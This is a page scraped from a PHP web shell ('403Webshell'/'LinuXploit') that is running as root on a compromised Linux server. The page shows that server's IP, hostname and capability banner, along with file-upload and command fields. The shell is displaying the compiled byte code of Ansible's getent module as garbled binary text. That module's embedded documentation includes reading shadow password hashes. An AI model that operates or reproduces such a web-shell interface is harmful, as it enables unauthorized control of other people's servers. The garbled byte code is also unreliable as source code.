403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible/modules/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/ansible/modules/__pycache__/getent.cpython-312.pyc
�

1<�e@��h�ddlmZmZmZeZdZdZdZddl	Z	ddl
mZddlm
Z
d�Zed	k(re�yy)
�)�absolute_import�division�print_functionas
---
module: getent
short_description: A wrapper to the unix getent utility
description:
     - Runs getent against one of its various databases and returns information into
       the host's facts, in a C(getent_<database>) prefixed variable.
version_added: "1.8"
options:
    database:
        description:
            - The name of a getent database supported by the target system (passwd, group,
              hosts, etc).
        type: str
        required: True
    key:
        description:
            - Key from which to return values from the specified database, otherwise the
              full contents are returned.
        type: str
    service:
        description:
            - Override all databases with the specified service
            - The underlying system must support the service flag which is not always available.
        type: str
        version_added: "2.9"
    split:
        description:
            - Character used to split the database values into lists/arrays such as V(:) or V(\\t),
              otherwise it will try to pick one depending on the database.
        type: str
    fail_key:
        description:
            - If a supplied key is missing this will make the task fail if V(true).
        type: bool
        default: 'yes'
extends_documentation_fragment:
  - action_common_attributes
  - action_common_attributes.facts
attributes:
    check_mode:
        support: full
    diff_mode:
        support: none
    facts:
        support: full
    platform:
        platforms: posix
notes:
   - Not all databases support enumeration, check system documentation for details.
author:
- Brian Coca (@bcoca)
aD
- name: Get root user info
  ansible.builtin.getent:
    database: passwd
    key: root
- ansible.builtin.debug:
    var: ansible_facts.getent_passwd

- name: Get all groups
  ansible.builtin.getent:
    database: group
    split: ':'
- ansible.builtin.debug:
    var: ansible_facts.getent_group

- name: Get all hosts, split by tab
  ansible.builtin.getent:
    database: hosts
- ansible.builtin.debug:
    var: ansible_facts.getent_hosts

- name: Get http service info, no error if missing
  ansible.builtin.getent:
    database: services
    key: http
    fail_key: False
- ansible.builtin.debug:
    var: ansible_facts.getent_services

- name: Get user password hash (requires sudo/root)
  ansible.builtin.getent:
    database: shadow
    key: www-data
    split: ':'
- ansible.builtin.debug:
    var: ansible_facts.getent_shadow

a�
ansible_facts:
  description: Facts to add to ansible_facts.
  returned: always
  type: dict
  contains:
    getent_<database>:
      description:
        - A list of results or a single result as a list of the fields the db provides
        - The list elements depend on the database queried, see getent man page for the structure
        - Starting at 2.11 it now returns multiple duplicate entries, previouslly it only returned the last one
      returned: always
      type: list
N)�
AnsibleModule)�	to_nativec���tttdd��tdd��td��td��tdd���	�d�
�}gd�}|jd}|jjd
�}|jjd�}|jjd�}|jjd�}|j	dd�}|�|||g}n||g}|�|jd|g�|�||vrd}	|j
|�\}	}
}d}
d|z}|ii}	dk(r�i}
j�D]~}|j|�}|d|vrN||ddk(r|||dg|||d<|||dj|dd�||dxxdz
cc<�i|dd|||d<d||d<��|j|��n4|	dk(rd}
n,|	dk(r d}
|s#d|||<|j||
��n|	dk(rd}
|j|
� �y#t$r9}|jt|�tj���Yd}~��:d}~wwxYw)!N�strT)�type�requiredF)r
�no_log)r
�bool)r
�default)�database�key�service�split�fail_key)�
argument_spec�supports_check_mode)�passwd�shadow�group�gshadowrrrrr�getentz-s�:)�msg�	exceptionzUnexpected failure!z	getent_%sr�)�
ansible_factsz'Missing arguments, or database unknown.�z<One or more supplied key could not be found in the database.)rr�z+Enumeration not supported on this database.)r)r�dict�params�get�get_bin_path�extend�run_command�	Exception�	fail_jsonr�	traceback�
format_exc�
splitlinesr�append�	exit_json)�module�colonrrrrr�
getent_bin�cmd�rc�out�err�er�dbtree�results�seen�line�records                   �8/usr/lib/python3/dist-packages/ansible/modules/getent.py�mainr=|s���
���u�t�4��%��.��e�$��E�"��v�t�4�
�!�	�F�
5�E��}�}�Z�(�H�
�-�-�
�
�E�
"�C��M�M���g�&�E��m�m���	�*�G��}�}� � ��,�H��$�$�X�t�4�J�
���8�S�)���8�$�����
�
�D�'�?�#��}��U�*���M��)�)�#�.���C�� �C�
�8�
#�F��r�l�G�	�Q�w����N�N�$�
	$�D��Z�Z��&�F��a�y�D� ���q�	�?�a�'�29�&�/�&��)�2L�1M�G�F�O�F�1�I�.�����q�	�*�1�1�&���*�=��V�A�Y��1�$��.4�A�B�Z�����q�	�*�"#��V�A�Y��
	$�	���w��/�	�q��7��	�q��L���#'�G�F�O�C� ����7���<�	�q��;��
�������I�M����Y�q�\�Y�5I�5I�5K��L�L��M�s�H�	I �'.I�I �__main__)�
__future__rrrr
�
__metaclass__�
DOCUMENTATION�EXAMPLES�RETURNr*�ansible.module_utils.basicr�+ansible.module_utils.common.text.convertersrr=�__name__��r<�<module>rIsP��A�@��
�4�
�l%��N
���4�A�G�T�z���F�rH

Youez - 2016 - github.com/yon3zu
LinuXploit